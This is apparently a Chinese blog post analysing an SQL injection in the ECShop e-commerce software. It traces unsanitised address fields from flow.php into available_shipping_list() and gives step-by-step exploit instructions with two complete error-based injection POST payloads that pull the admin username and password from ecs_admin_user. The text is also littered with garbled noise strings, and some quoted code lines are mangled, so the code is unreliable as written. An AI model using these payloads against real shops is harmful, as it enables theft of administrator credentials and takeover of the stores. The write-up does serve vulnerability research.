ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

5 o+ Q& J' Y) g    漏洞关键文件：
6 _' S6 y4 l5 ?1 l9 B; f3 n8 |7 H
    /includes/lib_order.php

1 K2 t* x% G. R0 P7 h* v    关键函数：
  n7 E# T6 x/ m  T; t5 `+ N


01     function available_shipping_list($region_id_list)
1 h) t# w" a1 {5 r6 |/ M
: F6 c! E8 }' M  u- [- b5 `$ B) E02 {

+ e0 V6 n! z5 `) A* D) B03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 M8 N- C; g' R! x4 [8 ^: \, T
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
& Q# N1 a6 [* }( v, f
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

# j; f8 i6 E: s08             'WHERE r.region_id ' . db_create_in($region_id_list) .
" j3 N, _* T" y* p
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

/ B& }5 M, @+ V9 m+ Q10   
; h" v' [5 w! {& _9 d
9 I. ~0 G" d& |11     return $GLOBALS['db']->getAll($sql);

12 }
4 y9 _& a/ t4 j
显然对传入的参数没有任何过滤就带入了查询语句。
$ f1 J8 U" p; s0 ^
下面我们追踪这个函数在flow.php中：
% J) R  |2 g/ | 第531行：   
. p# g) b! b) r# Z2 L* a
1 $shipping_list     = available_shipping_list($region);

2 O7 M( A% F( y0 c
' n6 J' \& H( C* k' m! @* F! A
% P( s# H8 e* j9 a

再对传入变量进行追踪：

第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);


! W3 [, N+ [( Q0 {% i
4 K+ ^3 H/ M7 g# B% i4 \. ~  H
& I, [0 a+ k2 }# U
( S, A# U( j4 S4 q5 e" Z' ?第473行：        
+ R# t% O, C1 N
1 $consignee = get_consignee($_SESSION['user_id']);
* |+ C6 I2 M: I* w- H! c
到了一个关键函数：

/includes/lib_order.php


5 q' @2 c4 s5 H: o
% H% J, [! o2 K7 {4 b
4 u  |+ o0 S& v" q% u4 s7 W- \
01 function get_consignee($user_id)

02 {

03     if (isset($_SESSION['flow_consignee']))

04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

06   
, a% n; N" d& {1 t" W* h3 i
07         return $_SESSION['flow_consignee'];
& l6 N' W* H1 Q) Z
08     }

8 w0 b1 F8 X% B2 J09     else

. \  q  z/ j  A6 r10     {
# p" X, Z1 f; i' X
! P6 ?0 a3 _1 j/ o$ n11         /* 如果不存在，则取得用户的默认收货人信息 */

4 G: Y8 x( `- K% H! l1 M12         $arr = array();
% H. b4 _% q$ Y$ ^. p
- L$ u( r/ \0 M8 K7 D0 v13   

# [6 r# N' H. X* W6 Y& [7 G" ]14         if ($user_id > 0)
/ T7 q/ u' t* U; D
15         {

16             /* 取默认地址 */

' S" l' b5 A, ?0 C5 t17             $sql = "SELECT ua.*".
0 p2 b* B; Y; |8 ^( J( |6 x
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

( J$ `5 @* b# x& K19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

. b. a/ Z! P* G* i6 i20   

' s: e- I6 i" A& U0 s21             $arr = $GLOBALS['db']->getRow($sql);

/ e4 H+ s; r3 j4 B22         }
/ Y! d4 K5 q: ]9 k9 V7 x) y5 g! V
  `4 j$ S2 w8 J2 ^/ H! m9 W23   

24         return $arr;
% f5 T8 u: x* j$ x
25     }
. K' C% l; p' t1 o+ A2 v
26 }
' D5 k* o( I* P2 x# r$ Y: i
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



. U$ Y* P+ ?+ Q/ @6 _关键点:
/ N0 W- W) _6 Y1 b0 _, S, T
  M* O( g& e6 x  W! j, P( Y第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
: C$ I+ [0 v6 h) {, ~


% G" L: e: Z/ W" A+ |然后看下：


* {6 _% G* j; X" E
   
2 g+ z! ~/ a( \9 i6 u- ^# Q
8 w% d0 C2 F* ^1 H0 T7 }% ^01 $consignee = array(
* T2 E7 x* ^; Z
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
4 Y4 s5 ~0 u0 q/ }' }
$ r5 Z6 W) X6 |7 p3 k5 Z03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
5 j+ k  ^" m  W
  {5 |9 K# F' l1 z: C& j7 f04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
2 y! b+ R; I) M4 ?9 K; m
4 P5 {. s4 \1 A, t4 u# \05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

0 o  ^* z/ E4 n06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
, _& z- G, a# ]3 s
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

3 F: b) T. U/ b9 h9 @) b! {08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
" m: a) X0 c2 Q# g+ Y( L
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

9 p+ B8 f# g0 q! ~13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

, K0 \' ^# z" T5 G3 |! O" W14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

+ @4 [5 P4 i/ x) F6 l- C; o15     );
, }9 C+ _7 B1 m& |& d0 b- H: |# w7 X
好了注入就这样出现了。
4 z7 c0 Z9 g4 s$ h
==================

+ e. A1 _  _! b% g* F注入测试：

) d$ T' w- }% w4 }1 ~$ F) Z6 X4 _环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

$ I; ~8 u9 A! |% T5 q测试程序：ECShop_V2.7.3_UTF8_release1106
$ C0 i5 o" x% x$ t
4 }1 D+ x) Z* |1 z6 S5 w
2 I# w6 V$ c0 N" U6 t
1.首先需要点击一个商品加入购物车
, w4 x$ I: R3 R7 o% `
5 J$ C- A' i8 y! v: I2.注册一个会员帐号
7 G- f% c  y1 I% J9 P) m
3.post提交数据

' \' U( @" P) J
' F$ W5 e2 O0 G% @1 N) U/ H
1 http://127.0.0.1/ecshop/flow.php
. c. J1 n, V! m& w  Z6 u% I
2   

) Y" s& L: T# f5 n* z3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
8 N$ L2 O3 s, @# |  R6 Z: Q! L% ~举一反三，我们根据这个漏洞我们可以继续深入挖掘：
; i. O2 v0 u/ ?( h
我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
0 W: Z5 h/ X& l# G& _
5 t/ B7 y( l, g. ?2 t5 z0 i利用exp:

3 \0 G  R- K5 e7 M; G  C$ p1.点击一个商品，点击购买商标

2.登录会员帐号
! y) U+ d% L! {* g  X
3.post提交：

http://127.0.0.1/ecshop/mobile/order.php
& B! E! u$ J$ `7 A1 k. Y


country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=